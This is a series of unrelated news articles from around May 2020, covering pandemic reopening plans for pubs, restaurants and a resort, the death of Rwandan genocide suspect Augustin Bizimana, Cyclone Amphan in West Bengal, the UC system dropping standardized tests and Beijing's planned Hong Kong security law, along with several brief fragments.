We have seen that continuation  of patrons being introduced to dance through Spring to Dance, and then going to another performance in the next season, he said.

This years festival would have been its 13th edition. Such is its reputation that it has become a go-to destination for companies looking to expand their audiences.

The event has provided the opportunity to show what the local dance community is capable of while raising its national profile, said Brian Enos, artistic director of the Big Muddy Dance Company.

It provides a window into whats happening here in St. Louis, he said. Along with ensembles including St. Louis Ballet and MADCO, the Big Muddy has been a festival regular.

Spring to Dance has also featured Chicago companies. Jorge Perez, executive and associate artistic director of the Windy Citys Ensemble Espanol Spanish Dance Theater, said that about a quarter of its performances each year are at dance festivals. And the St. Louis event, at which the company has performed multiple times, ranks high on his list.

Its really exciting to be a part of it, Perez said. To be there right next to dancers from the Joffrey Ballet, or the Alvin Ailey American Dance Theater. And for the audience members, its fantastic.

Terence Marling, consultant to and co-curator of Spring to Dance, said that the 2020 festival lineup might simply be held over to 2021. The question is what impact the pandemic will have on the companies that had been selected.

Some companies will not make it through this, he said. Im not sure which ones, but its just a fact. Its going to be really hard, and dance companies already have a hard enough time.

But overall, things look good for the festival to pirouette back onto the Touhills stages, to enthusiastic applause.

Ive already secured 50% of what we need in terms of funding, Dee said. So were on the right track, no question.

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A Laois family has made a special appeal on behalf of the Irish children's hospice Laura Lynn.

The Ryan family from Portlaoise spoke to Alan Hughes on Ireland AM today to ask for support for the hospice which they use.

Twins Sean and Liam Ryan, 12 and their mother Niamh featured on the show.

Niamh explained that the boys were born at 26 weeks, and 24 hours after birth, Liam suffered a brain bleed which left him with cerebral palsy with epilepsy.

Since then she is Liam's full time carer, with the family availing of respite when they stay at the Laura Lynn hospice.

"It really has changed our lives, it's such a happy place, everyone in there is so happy. There are maybe five or six other children there when Liam visits and we can stay as a family. It's the only place we can go for a holiday as we say. There we are just mammy and daddy, the nurses take on all the medical care," she said.

The video was shared by Holy Family Senior School in Portlaoise. Watch it in full on the link below.

Lauralynn - Irelands Childrens Hospice provides care to approximately 220 families across Ireland. Since the pandemic, they are projecting that the loss in donations could be as bad as 54%.

Since the piece aired on Thursday, May 21 the charity has received over 30,000 in donations. To donate text Moments to 50300 to give 4

https://www.facebook.com/IrelandAMVMTV/videos/286995332340698/
'The safety of our staff and customers is paramount'

Bosses at the UK's biggest pub chain have unveiled their strategy for maintaining staff and customers' safety upon reopening.

JD Wetherspoon shut all of its branches  including The Hachet Inn in Newbury  in line with governmental guidelines announced on March 20 in the wake of a growing number of Covid-19 cases.

Now that the number is starting to ebb, its senior management have devised a plan for reopening  despite a date not yet being set.

Included in this is the promise of employing two or more additional full-time staff members in each of its 875 pubs, who'll be dedicated to cleaning and sanitising all contact points.

This includes door handles, allergen information screens, card payment machines and hand rails.

In a statement released today (Friday), Wetherspoon chief executive John Hutson said: At present the Government have not confirmed any reopening date for pubs.

However, it is important that we are prepared for any announcement.

We have spent a number of weeks consulting with staff who work in our pubs, as well as area managers in order to draw up our plans.

We have received more than 2,500 suggestions from our staff.

The safety of our staff and customers is paramount.

As well as employing dedicated sanitising staff, screens will be installed at every till and between tables that can't be moved to comply with social distancing rules.

On average, 10 hand sanitiser dispensers will be offered at every branch for staff and customer use.

Dedicated employees will monitor the pub at all times in order to maintain social distancing standards and there will be a member of staff on the door at peak times.

The pubs will use one entrance with a separate exit door where possible, with floor stickers and/or barriers showing the entry and exit route.

While cash will still be accepted, the use of the Wetherspoons app or contactless card payments will be encouraged.

Each employee will have temperature checks and complete daily health assessments. Staff will handle all drinks by the base of the glass.

Masks, gloves and protective eyewear will be offered to employees, however it's their choice whether to wear it or not subject to Government guidelines.
Smoke Tokes did not have such a placard, which is normally issued by the city after an inspector confirms the business is housing volatile materials properly, the chief said. In Los Angeles, there is a permit system for the storage of large quantities of flammable gases, and proprietors are required to document what they have on site.
Former Rwandan defence minister Augustin Bizimana, one of the top suspects wanted over the country's 1994 genocide, has died, the UN tribunal said Friday. He is believed to have died around August 2000, "based on the conclusive identification of Bizimana's remains in a grave site in Pointe Noire, the Republic of the Congo," the Mechanism for International Criminal Tribunals (MICT) said in a statement. About 800,000 people, mainly members of the Tutsi ethnic group but also moderate Hutus, were slaughtered over 100 days of violence committed by Hutu extremists in 1994. Bizimana had been indicted by the United Nations' International Criminal Tribunal for Rwanda in 1998. The 13 counts included genocide, murder, rape and torture, including the murder of former prime minister Agathe Uwilingiyimana and 10 Belgian UN peacekeepers. The announcement by the MICT comes six days after the arrest in Paris of one of the last alleged fugitives from the genocide -- Felicien Kabuga. He is accused of creating the notorious Interahamwe militia that carried out massacres, and the Radio-Television Libre des Mille Collines which, in its broadcasts, incited people to murder. Kabuga, 84, who spent a quarter of the century on the run, was indicted by the UN court in 1997 on seven counts, including genocide. The UN tribunal for Rwanda, headquartered in Arusha, Tanzania, formally closed in 2015 and its duties were transferred to an institution called the MICT. - DNA evidence - In its statement on Friday, the MICT said the "confirmation of death" was the result of an exhaustive probe by the prosecutor's office "combining advanced technology with extensive field operations, and involved exceptional cooperation with partner authorities in Rwanda, the Republic of the Congo, the Netherlands and the United States." The prosecutor's office, it said, conducted DNA analysis late last year on previously-obtained samples of human remains from a grave site in Pointe Noire. "Subsequent investigations and comparative DNA analysis by the Office over the last several months ruled out that the remains were those of any other person," it said. "The Office further verified additional evidence concerning the circumstances of Bizimana's death. "Accordingly, the Office confirms today that Augustin Bizimana is deceased. It is believed that he died in August 2000 in Pointe Noire." - Survivors disappointed - In France, the head of an association of genocide victims said the news that Bizimana had died without being brought to book was a "great disappointment." "The survivors' greatest wish is for the killers to face justice," said Alain Gauthier, founder of an association called the Collective of Civilian Parties for Rwanda (CPCR), which campaigns for the prosecution of genocide suspects. "Only justice can provide them with a little bit of comfort, and when a genocide leader is tried, their honour is restored," he said. Gauthier also lamented that Bizimana's death deprived survivors of key details of what had happened. "If he had been taken alive, we could have learned things -- it's a pity." A Kigali-based victims group said although they were "grateful" to hear of Bizimana's death, they suspected that investigators "knew all along." "Otherwise, how do you explain the strange coincidence that they announce his death a few days after the arrest of Kabuga?" said Jean-Pierre Dusingizemungu, the president of IBUKA, the umbrella association for survivors of the genocide. Dusingizemungu thanked the UN tribunal for announcing Bizimana's demise but added: "We suspect that there is no goodwill from the international community to bring the fugitives to justice." "It appears as though they wait for someone to get very old or to die before they jump into action," he said. The last major fugitive sought by the MICT is Protais Mpiranya, who commanded the guard of former president Juvenal Habyarimana. Habyarimana died on when his aircraft was shot down over Kigali on April 6 1994 -- the act that unleashed the mass killing. Five other individuals named by the UN tribunal are still on the run. burs-smt/jhe/ri
The United States said Thursday it hoped for better ties with Burundi after its latest election, which it praised as an improvement from its violent 2015 vote.

"It's no secret, our relations with Burundi have not been what I would call cordial at all," said Tibor Nagy, the assistant secretary of state for Africa.

"I'm optimistic about the potential for broad progress in the US-Burundi relationship following these elections," he told reporters.

The United States, along with other Western nations, strongly criticized the 2015 election in which President Pierre Nkurunziza defiantly sought a third term, plunging the country into violence in which 1,200 people died.

Relations have remain tense since then, with former president Barack Obama's administration booting Burundi out of a deal that gives African nations preferential access to the US market if they respect democracy.

In a surprise, Nkurunziza did not run again in elections Wednesday, even though his hand-picked heir, military man Evariste Ndayishimiye, is the favorite to win.

Nagy said the United States was "encouraged" by early signs from the vote, which he said the US embassy in Bujumbura was closely following.

"One good point is that these elections are in no way as violent or as problematic as the elections were in 2015," he said.

The country has remained largely calm, despite allegations of fraud. Authorities have restricted the use of social media.

"We urge all sides to refrain from provocations or violence, to respect the democratic rights of all citizens and to use established legal prophecies to address potential grievances," Nagy said.
Source: Xinhua| 2020-05-23 02:52:36|Editor: huaxia

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DAR ES SALAAM, May 22 (Xinhua) -- Tanzania and Kenya on Friday resolved a dispute over COVID-19 tests for truck drivers crossing the border, facilitating trade between the two East African countries.

The dispute, which had been ongoing for quite some time, was resolved by ministers responsible for transport from the two countries at the end of their one-day meeting at the Namanga border post, said a communique released at the end of the meeting.

The meeting followed a directive on Wednesday by heads of state of Tanzania and Kenya to ministers responsible for transport and commissioners of border regions to resolve the dispute to facilitate trade between the two countries.

According to the communique, the ministers agreed that truck drivers from both sides will be tested for COVID-19 before commencement of their journeys at the point of origin using standards set by the World Health Organization.

The two countries agreed that tested truck drivers should be issued with a 14-day COVID-19 free certificate by competent authorities, which should be mutually recognized by the two countries, said the communique.

The communique said the two countries also agreed that each country should create conducive places where the truck drivers can stop for a rest, adding that such places should be equipped with necessary amenities.

They further agreed that the two countries should undertake random COVID-19 screening at the designated resting places, said the communique, adding that the screening should be done in a transparent manner.

According to the communique, the two countries agreed that in case of one of the truck crew being found to be at high risk of COVID-19, the owner of the truck will be allowed to replace all the crew and the truck allowed to proceed.

It said the two countries agreed to release to the public data on the status of COVID-19 without mentioning the nationality of the infected.

Tanzania was represented by Minister for Works, Transport and Communication Isack Kamwelwe, while Kenya was represented by Cabinet Secretary in the Ministry of Transport, Infrastructure, Housing, Urban Development and Public Works James Macharia. Enditem
It was popular in the 1940s and 50s, and now its making a comeback: carhops.

The service of driving up to a restaurant, getting food on a tray delivered to the car by a server (possibly on roller skates), and enjoying it while in the car is usually a nostalgic experience for adults, but this time, it can be a brand-new one for kids.

Some New Jersey restaurants are starting to offer carhop services following dine-in restrictions due to the coronavirus pandemic.

OMG Burger & Brew in Long Valley started its carhop service Wednesday, after remaining closed following the states shutdown. Andrea Maletta-Bussel, who co-owns the restaurant with her husband Steven, said they thought it was a fun way for people to social distance, as well as get some jobs back.

Everyones excited to come back, whoever is coming back, she said, referring to her employees. There will be an abbreviated staff, she said.

The restaurant is offering an abbreviated menu and beer and wine list, as well as canned cocktails, she said.

All the hot chicks coming out with their pups! @mischerossiter #ohmygoodness Posted by OMG Burger & Brew on Thursday, May 21, 2020

Employees are wearing masks and using gloves for safety precautions. Maletta-Bussel said the parking lot will have about 30 designated spots for carhops.

I dont know how this is going to work out, she said. This is all new territory.

It was also a new experience for Bobby Bournias, the owner of Brownstone Pancake Factory in Englewood Cliffs and Edgewater. Bournias started the carhop service last Saturday at 10 a.m. at his Englewood Cliffs location and he quickly sold out for the weekend.

I was actually very nervous because I havent done this before, but I tell you it was a huge success, Bournias told NJ Advance Media.

People must make reservations at their website for a spot, he said.

Even though the restaurants back parking lot holds about 45 cars, Bournias said he designated 18 spots in his parking lot for the carhop service. And he typically only reserves 12 cars per hour to preserve social distancing, he said, in case someone comes late or lingers.

Waiter Raphel Bendito takes an order at the Car hop service at the Brownstone.George McNish | For NJ Advance Media

Weekends tend to be busier than weekdays, he said, but even during the week, its about 50% capacity of available spots.

He said he came up with the idea after seeing a decent amount of people ordering food and eating it outside. He decided to try out the carhop service, seeing it as a nostalgic throwback.

People have been very receptive, he said. Its something to do for familiesa night out.

All staff members have masks and gloves on, and the carhop trays are sanitized every time, Bournias said. Customers are allowed to use the bathroom, entering through a side entrance, and a designated staff member regularly cleans the door handles and the bathroom, he said.

Bournias said he did have to remind people to stay in their cars after a few groups came together and were socializing outside of their vehicles.

And Bournias said his servers are enjoying the experience as wellbefore this, takeout and delivery didnt bring in a lot of tip money.

The thing thats really blown my mind is how appreciative customers are, he said. Theyre so ecstatic theres something they can do thats nostalgic.

Waitress Samantha Lleras brings a drink order to a customer at the Car hop service at the Brownstone.George McNish | For NJ Advance Media

Other restaurants offering carhop services include different Stewarts Root Beer locations and Webers Drive-In in Pennsauken Township.

A manager at Webers Drive-In said theyre still offering carhop services, although theyve changed the glass mugs to plastic cups now.

And some Stewarts locations are offering carhop-like services, but it depends on the location. East Brunswicks Stewarts is not offering carhop, but the Tuckerton location is.

An employee at Matawans location said theyre not doing trays, but they are serving cars to go, and people can sit and eat in their cars in the parking lot. Hazlets location also said its not doing carhop services specifically, but people can do curbside pickup and eat there outside.

Fast-food chain Sonic is also still offering its carhop services at all 16 drive-ins in New Jersey, according to a company spokesperson.

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Brianna Kudisch may be reached at bkudisch@njadvancemedia.com. Tell us your coronavirus story or send a tip here.
The boy was standing on the sidewalk in the 1800 block of South Avers Avenue when he heard shots, then felt pain. He was shot in the chest, and was taken to Mount Sinai where his condition was stabilized, police said.
The University of California system will no longer require SAT and ACT standardized test results for in-state freshmen applicants.

Image: UCLA (Robyn Beck / AFP - Getty Images file)

The system's Board of Regents voted Thursday to suspend the tests until fall 2024.

The system said in a statement that it would use the next three years to develop a new test that "better aligns with the content the university expects students to have mastered for college readiness."

If the new test doesn't meet "specified criteria" by 2025 admissions, the system will eliminate standardized tests entirely, the release said.

The university system said it still needs to develop a similar process for out-of-state and international students who aren't enrolled in California high school courses that are pre-approved by the system. That process will begin in 2025, the school said.

Under the new plan, in-state students will have the option to submit SAT and ACT scores for 2021 and 2022. Campuses can use them for admissions and other purposes, but applicants who skip the tests won't be penalized, the school said. The new policy also drops essay and writing tests.

For the two years after that, students can still take the tests, but scores can't be used for admissions.

In a statement, regents Chair John A. Perez called the move an "incredible step in the right direction."

Critics of the tests have long argued they put minority and low-income students at a disadvantage because the test questions often contain inherent bias that more privileged children are better equipped to answer.

Wealthier students also tend to take expensive prep courses that help boost their scores, which many students cant afford, opponents of the tests say.

The University of California system has 10 campuses, from Davis near Sacramento and Berkeley in Northern California to UCLA in Los Angeles and UC San Diego. One, UC San Francisco, is for graduate and professional education only.

The system includes more than 280,000 students and more than 227,000 faculty and staff, according to its website.
As shelter-in-place restrictions begin to loosen, Santa Clara County is seeking to build an army of 1,000 contact tracers with the help of volunteers, officials said Thursday.

Contact tracing, a key part of containing infectious disease, involves interviewing infected people, notifying contacts who may have been exposed and connecting people with the right resources, said Dr. Sarah Rudman, assistant county health officer.

We expect that as shelter in place is lessened, people are going to have more contacts, Rudman said. Thats why we need to be able to have a larger workforce to reach those folks as well.

There were nearly 2,500 confirmed cases and 138 deaths in the county as of Wednesday, according to county data.

Contact tracing capability is one of five key indicators that officials consider when making decisions about reopening.

At least 50 county employees have been trained for the job so far, but health officials expect many more workers will be needed to contain the coronavirus in coming weeks and months, Rudman said.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Volunteers, who can complete an online survey if interested, would complete online training and work from home. The ideal candidate would have strong interpersonal and communication skills, have access to a computer and internet connection and be able to speak multiple languages.

The county is looking for people who can work 24 or 40 hours a week for a minimum of three months and ideally six months or longer, according to officials.

Anna Bauman is a San Francisco Chronicle staff writer. Email: anna.bauman@sfchronicle.com
SCHENECTADY  Two more former employees have been allowed to join the lawsuit opposing the dissolution of the corporation that controlled the collapsed St. Clares hospital pension.

We have two clients objecting. They are part of it now, Victoria Esposito, advocacy director for the Legal Aid Society of Northeastern New York said of Kelvin Isolda and Laurie Wasniski.

They are among more than 1,100 former hospital employees who were left with greatly diminished pensions or no pensions at all when the St. Clares pension fund dried up a decade after the hospital was absorbed by the larger Ellis Medicine group and closed.

Because St. Clares was considered part of the Albany Catholic Diocese, the hospital in the 1990s took advantage of a religious exemption that allowed it to stop paying insurance for the pension fund. But that meant it would be excluded from the federal Pension Benefit Guaranty Corp. program. The Guaranty Corp. typically backstops, albeit at a discount, pensions that have run into financial trouble.

Efforts to help the former employees are proceeding along two legal tracks.

In the dissolution case, Attorney General Letitia James, as well as others were objecting to the dissolution of the St. Clares board of directors. By keeping the corporation intact, plaintiffs believe they could get a full accounting of where the money went that should have sustained the pension.

On May 8, Schenectady County State Supreme Court Acting Justice Vincent Versaci allowed the additional plaintiffs to join the objections to the proposed dissolution.

In the other lawsuit, 172 former employees are seeking to get all or some of their pension money back.

When St. Clares closed in 2008, New York state gave it $28.5 million to fund the pension plan. The closure/merger with Ellis was part of a statewide effort to reduce costly overcapacity of hospitals in the state.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

But in 2018, the former employees were told that their pensions would be reduced or halted altogether.

Then in 2019, the Board of Directors of St. Clares Corporation, which had run the pension since 2008, moved to dissolve the corporation.

A number of other organizations and private attorneys are parties to the cases as well.

rkarlin@timesunion.com  518-454-5758  @RickKarlinTU
TOWN OF THE BLUE MOUNTAINSAs Blue Mountain resort prepares to re-open after COVID-19 closed its operations two months ago, its U.S.-based owners decision to start charging people to hike has ignited a local backlash and accusations of pandemic price gouging.

Starting June 6, anyone wanting to use Blues hiking trails will have to buy an Explore Pass at $59 for adults, $49 for young adults, $39 for youth and $19 for children four and under. The passes also provide access to gondola service. Similar to a winter season ski pass, hikers must display passes while on the trails; ticket checkers at the trailheads will kick trespassers off the property.

Blue Mountain, which has evolved from an alpine ski resort into a four-season destination on the southern shores of Georgian Bay, says the move was necessary to prevent the further spread of COVID-19 and manage the flow of people along with helping to cover the cost of trail maintenance.

But critics believe the owner, Alterra Mountain Company, is using the pandemic as an excuse to make people pay for an activity that should be free. While the Colorado-based company owns 15 North American ski resorts, including Quebecs Mount Tremblant, it appears only Blue Mountain hikers will have to pay.

Mackenzie Robinson, 23, a Collingwood resident who has hiked Blues hills since she was 16, started an online petition last week in protest. In just a few days it collected more than 1,100 signatures and many angry comments: Nature should be free; we should not be charged as taxpayers to enjoy the beauty of our surroundings; very bad for Blue Mountain image; and, an opportunistic money grab during a national crisis. This will be remembered long after the pandemic has cleared.

Robinson, who is in teachers college, said she was frustrated and upset by the change. Theyre telling us to get out, take walks with families, and now you want to put a price tag on it. She also wonders how Blue will manage with hikers who enter the property using the Bruce Trail, largely open-access 900-kilometre footpath that stretches from Niagara to Tobermory and, for a small section, intersects with Blue Mountains vertical trails.

How are they going to let people use the Bruce Trail, then charge everybody else to hike? It makes no sense.

Bruce Trail Conservancy CEO Michael McDonald said discussions are underway with Blue Mountain, which graciously allows the Bruce Trail Conservancy to cross their land. He added: Im confident that were going to figure this out. (The Bruce Trail is currently in a phased re-opening.)

Jessica Daliss, a mother of two children with disabilities who lives in Collingwood, a short distance from Blue Mountain, said local residents feel slapped in the face. Two-hundred-and-fifty dollars a family to hike a trail thats been free since I was a child under the guise of it being for social distancing, she said.

I understand large businesses are struggling right now, but this was not the time to impose higher fees and less access to greenspace in our community.

Its a very big change, acknowledged Blue Mountain spokeswoman Tara Lovell. The move, she said, is part of the resorts plan to comply with government and public health protocols. The trail network is expanding to 30-kilometres by incorporating some trails used for downhill mountain biking, a revenue generator cancelled for at least this summer season over the virus.

During the pandemic, Blue Mountain resort, like other businesses, are required to impose capacity limits on their properties, which, Lovell said, is why the owner wants to ensure paying guests are given priority to hike.

There will be fewer people at Blue Mountain resort this summer, were taking steps to do that, she said. The hiking fees, however, will remain after the pandemic era ends. (Winter season passholders have automatic trail access, and guests lodging in one of Blues hotels will receive a significant discount, she said.)

Derek Crawford, who lives in Collingwood and has two children, aged seven and 11, and a new baby on the way, called the decision shortsighted because a large part of the allure of hiking at Blue is the resorts village, filled with restaurants and shops.

So you could get outside and be active, and theres somewhere to go right after without having to hop in your car, drive, and get out again. He and his family will go elsewhere now, where its free.

Beth Potter, president and CEO of the Tourism Industry Association of Ontario, said in an interview that many tourism business owners are looking at lifelines for how to survive the pandemic.

Although Blue Mountain is an association member, Potter spoke about the issue generally. The tourism and attraction sectors are very people-oriented experiences, she said, adding the industry is having to pivot to ensure they comply with COVID-19 protocols  and stay in business.

For example, the CN Tower, Toronto Zoo, and the meeting and convention industry are all looking at ways to adapt and manage crowds in these challenging times, she said.

Is it time-ticketed entry? Is it lines on the floor at a trade show, so you can only move in one direction? All those things are being considered and factored and into the new business models across all the different sectors of the tourism industry.

And that, she says, comes at a cost.

So too does alienating a local community, said Robinson, who started the petition and has no plans to buy a hiking pass.

She says she will reluctantly hike elsewhere, but its not the same.
The World Health Organisation is to sign a confidentiality clause with Madagascar on the formulation of its herbal remedy for coronavirus.



The WHO had for long criticised Madagascar for promoting the herbal remedy and distributing it to African countries.



According to the WHO using the herbal drug without enough scientific evidence of its efficacy can harm people.



Madagascar had said that the remedy called Covid-Organics was developed by the Malagasy Institute of Applied Research (Imra).



Madagascars President, Andry Rajoelina has already urged farmers in his country to grow more of the artemisia plant.



He said on Twitter on Wednesday that he had successful exchange with Dr. Tedros (WHO chief) who commends Madagascars efforts in the fight against Covid19.



Confidentiality clause



Rajoelina also added that WHO will sign a confidentiality clause on the formulation of the Covid-Organics and will support the clinical observations process in Africa.



Dr. Tedros also confirmed the call with Rajoelina in a tweet saying Good call with Andry Rajoelina, President of Madagascar, about the COVID19 situation in his country.



We discussed how to work together on therapeutics research and development. And we agreed that solidarity is key to fighting the pandemic and keeping the world safe.



West condescending of Africa on herbal remedy



This month President Rajoelina responded to critics of his countrys much touted herbal remedy for coronavirus.



He told French news channel France24 that those doubting the efficacy of the Covid-Organics, a locally produced herbal tonic from Madagascar are condescending of Africa.



We had 171 cases, of which 105 were cured and the majority of these patients who were cured took only the product Covid-Organics, Rajoelina said in the interview.



Rajoelina said in French that If it wasnt Madagascar, and if it was a European country that had actually discovered this remedy, would there be so much doubt? I dont think so.

Source: africafeeds.com









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Chief Minister Mamata Banerjee on Friday said West Bengal has suffered losses of more than Rs 1 lakh crore due to super cyclonic storm 'Amphan', which has killed 80 people and left thousands homeless in the state.

IMAGE: Residents inspect their damaged house after a tree fell on it during Cyclone Amphan, in Burdwan district. Photograph: PTI Photo

After conducting an aerial survey of some of the affected areas and attending a review meeting along with Prime Minister Narendra Modi in Basirhat in North 24 Parganas district, she said there is a need to work together at this hour of crisis.

"Most of the areas we surveyed were totally ravaged. I have briefed the prime minister in detail about the post-cyclone situation in the state," she told reporters at the airport after seeing off Modi.

The prime minister announced an advance interim assistance of Rs 1,000 crore for the state after the meeting.

"The prime minister has announced Rs 1,000 crore emergency fund... What's the package I don't know. I have told him that we will give him the details.

"It will take some time to assess the full overall situation but damage is of more than Rs 1 lakh crore," she said.

Banerjee said she 'reminded the prime minister about Rs 53,000 crore the central government owes to the state for various social security schemes'.

"If they (Centre) give some money to us, we can work," she said.

The chief minister said she showed Modi some photographs capturing the havoc caused by 'Amphan' in Kolkata.

IMAGE: NDRF personnel carry out reconstruction work at a BDO office in the aftermath of Cyclone Amphan, in Howrah district of West Bengal. Photograph: PTI Photo

Ahead of conducting the aerial survey with Modi, Banerjee contended that the calamity is 'more than a national disaster'.

She said it will take time to restore normalcy, with cyclone 'Amphan' having ravaged at least seven to eight districts in Bengal, and adversely impacting 60 per cent of the state's population.

"This is more than a national disaster. I have not seen such devastation in my life. Sixty per cent of people have been affected in West Bengal. More than six crore have been directly affected," Banerjee told reporters at the Netaji Subhas Chandra Bose International Airport where she had gone to receive Modi.

"It will take some time to restore normalcy... It's a catastrophe... severe disaster. Our officials and ministers are all working. Police are also working tirelessly. We are fighting three challenges -- there is lockdown, then there is COVID-19, and now this disaster. The villages have been entirely devastated," she noted.

The chief minister said that she will hold an administrative meeting with Modi at Basirhat in North 24 Parganas district, following the aerial survey.

The CM also said she will be visiting some of these places again on Saturday.

"All phone connections were snapped (after the cyclone struck). My landline was working, but there was no connectivity in my cell phone. It was that bad..." she said.

Talking more about the process of normalcy restoration in Bengal, Banerjee said the state has manpower and capacity to rise above the crisis.

"The districts have been totally damaged. All the embankments have been breached. Our challenge is to rescue (people) and restore operations here. We have our manpower and capacity. We will be able to do it successfully.

"Our municipal workers are also working on war footing. Don't worry, it (normalcy) will be restored," she said.

Banerjee further said President Ram Nath Kovind called her to enquire about the situation in the state.

'I sincerely thank the Hon'ble President of India @rashtrapatibhvn Shri Ram Nath Kovind Ji, for personally calling me to convey his support and concerns for the people of Bengal in this unprecedented time of crisis because of the cyclone. We are extremely grateful, Sir,' she tweeted later in the day.

Banerjee noted that Odisha Chief Minister Naveen Patnaik has also offered help.

'Dear @Naveen_Odisha Ji, extremely grateful for the kind words in these unprecedented times. As a fellow chief minister trying to restore the state post the cyclone, this is extremely warming,' the chief minister added.
At least two times a week for more than a year, teen artist Zeandra Menjares has spent time in the Mosaic studio at Blue Star Contemporary, honing her skills.

Menjares, a junior at Harmony Science Academy, is still part of the youth arts program, which has shifted to virtual connections because of shutdown orders issued to try to stem the spread of COVID-19.

Since Blue Star closed its doors in March, Menjares and the 21 other teens in Mosaic have checked in with each other and with artist-in-residence Alex Rubio in weekly sessions over Zoom. They also have received feedback from Rubio in one-on-one sessions, as well as via text, email and notes jotted onto digital images of their work.

Menjares is grateful for all of that, but its not quite the same, she said.

When I went to Blue Star, it was for a certain amount of time, and all we were doing was art, but when Im at home, I start whenever, and sometimes Ill get off track, said Menjares, 17, who is working toward a career as an art teacher. Thats what was good about Blue Star  all I did was art.

On ExpressNews.com: Blue Star Contemporary launches new podcast

Julian Moreno, who has been in the program for a year and a half, has missed the camaraderie and energy that comes from working in the same space with fellow artists.

When were in the studio, we have each other to kind of inspire one another, said Moreno, 18, a senior at the International School of the Americas at LEE High School. You can see your peer working on a magnificent painting, that inspires you, and it goes back and forth, and also Rubios there.

Now that were stuck at home, I think now its even more important that we communicate  the whole community, Im talking about  and inspire each other, because its really easy now to lose your inspiration because youre just at home. So if we can inspire each other and keep San Antonios art alive, I think now is the time to really push for that.

Moreno, who isnt sure what he wants to pursue professionally, feels that the folks at Blue Star have done the best job possible to re-create the program online.

That was the goal. And, two months in, although a lot has been done, it remains a work in progress, said education manager Mari Hernandez.

I think that were still trying to work through this process so that we can offer the students more opportunities to connect in different ways, Hernandez said.

That includes a new series of virtual visits to artists studios. The first was with Jimmy LeFlore, who showed where he works as well as his current series of work.

Its made out of found materials, so the project was really relevant in terms of showing the students that they can be creative without needing to be in a studio and to have access to all different kinds of materials, Hernandez said.

Finding ways to keep the program going was important, said Mary Heathcott, executive director of Blue Star Contemporary. Students are recruited in their freshman or sophomore years with the hope that theyll participate all the way through graduation.

They spend most of their year, after school and in the summer, too, here, so that we really become a part of their support networks, Heathcott said. We want to support them not only as artists, but their future development as professionals and as human beings.

It isnt clear how long Mosaic will remain online, Hernandez said. The organizations top priority in terms of reopening its physical spaces is to get the galleries open to the public. Once all of complexities of doing that safely have been worked out, she said, theyll focus more energy on how to bring the Mosaic students back into the studio.

On ExpressNews.com: Briscoe Western Art Museums reopening gets off to a quiet start

The students have continued projects they started in the studio, and also are contributing to a group series titled The Quarantine Diaries, pieces that deal directly with whats going on now. Images of the pieces will be posted on Blue Stars social media platforms as they develop, giving the public a sense of the young artists process. The finished works will be posted, too.

Diaries is a visual documentation of the students works, their thoughts, their interests and their personal feelings during these challenging times, Rubio said.

A lot of the work deals with isolation, as well as with sociopolitical issues, Rubio said.

Menjares has been working on a self-portrait.

Theres kind of like a door in my head and stairs leading down, she said. Its just kind of about how being isolated has kind of made me almost live in my head.

Moreno is in the middle of his own take on the chimera, the mythological beast with the head of a lion, the body of a goat and the tail of a serpent. He sees it as a representation of the struggle at the federal level to come up with cohesive plans to address the pandemic, something that he feels has been handled much better at the local level in San Antonio. In the piece, each head represents a branch of the federal government.

I cant even truly understand what theyre doing, but it doesnt seem very like they have a plan, and each side is just butting heads, he said.

The young artists own struggles with trying to make work in this strange time has been made a tiny bit better by the knowledge that professional artists are having a tough time, too, something that Rubio tries to convey.

Im always bringing up stories of how this period is affecting my work, he said. I think that that really helps, that Im in this with our students. Im one of these artists that is in this place and that may have feelings of that kind of separation and isolation, and I relay stories to the students reminding them that Im sheltering in my studio as well.

As an artist, I have to continue to make a living, and that means creating art. I have to continue to be creative and inspired. Sometimes, these times may be effecting students very sensitively, and I think that it takes a working artist to remind the community out there that were still here and were still working.

Moreno and Menjares are both looking forward to returning to the Mosaic studio.

Sometimes creating by yourself is fun, but for three months, you get lonely without that sense of community, Moreno said.

dlmartin@express-news.net | Twitter: @DeborahMartinEN

Deborah Martin is an arts writer in the San Antonio and Bexar County area. To read more from Deborah, become a subscriber. dlmartin@express-news.net | Twitter: @DeborahMartinEN
On Thursday, China revealed its plans of executing laws that would be focused on taking down anti-government protests and other objections within the city of Hong Kong. The rules signal the most apparent objective of the Communist Party of taking control of the semiautonomous region that has experienced civil liberties since 1997.

The announcement was conducted before the annual meeting of the country's legislature, and it is expected that an outline of the plan will be approved. The new legislations are likely to be stricter than what Hong Kong has in place even though no information regarding the new laws have not been disclosed.

A threatening law

The proposal also reveals the threat of violence that has terrorized the city for several months and brings to light the declining relationship between the US and China. The US is said to respond firmly in the face of suppression of the city, as reported by the New York Times.

"It is the end of 'one country, two systems'," said pro-democracy lawmaker, Dennis Kwok. "They are completely destroying Hong Kong."

State Department spokeswoman, Morgan Ortagus, said on Thursday that, "any effort to impose national security legislation that does not reflect the will of the people of Hong Kong" would be subject to international condemnation.

According to CNN, Ortagus stated that the State Department delayed its submission of the annual Hong Kong Policy Act Report to Congress in preparation for any possibility of additional actions that Beijing may be plotting in the wake of the upcoming National People's Congress (NPC) that would severely affect the democracy of Hong Kong.

Also Read: China Imposes 'Wuhan Style' Lockdown on Chinese Region, More Than 108 Million Affected

For the sake of the country

Chinese officials, however, defended the action as being needed in the protection of national security after previous protests and failure of the Hong Kong government to implement any similar laws for 17 years.

"National security is the bedrock underpinning a country's stability. Safeguarding national security serves the fundamental interests of all Chinese people, including our HK compatriots," said Zhang Yesui, NPC spokesman in a news conference on Thursday held in Beijing.

A review of the proposed title "Establishment and Improvement of the Legal System and Implementation Mechanism for the Safeguarding of National Security in the Hong Kong Special Administrative Region," was announced ahead of the annual NPC meeting set to begin on Friday, as announced by Zhang.

He also emphasized that Hong Kong is a part of China and is inseparable and, "in light of new circumstances and need," it is "highly necessary" for the NPC to utilize its powers to implement such laws. Zhang also said that additional details regarding the legislation would be revealed on Friday.

The implementation of the new proposals also threatens the confidence of investors, tourists, and other responsible parties that have had a hand in the prosperity of the city over the last 50 years.

The city of Hong Kong has previously been the median whereby money is transferred between China and international parties. The proposition notifies investors that the city may not be out of reach of China's authoritarian clutches.

"This is the end of Hong Kong," said Kwok. "I foresee that the international status of Hong Kong as a city, an international city, will be gone very soon."

Related Article: US Navy Warns Foreign Ships in Persian Gulf to Keep Distance or Face the Consequences

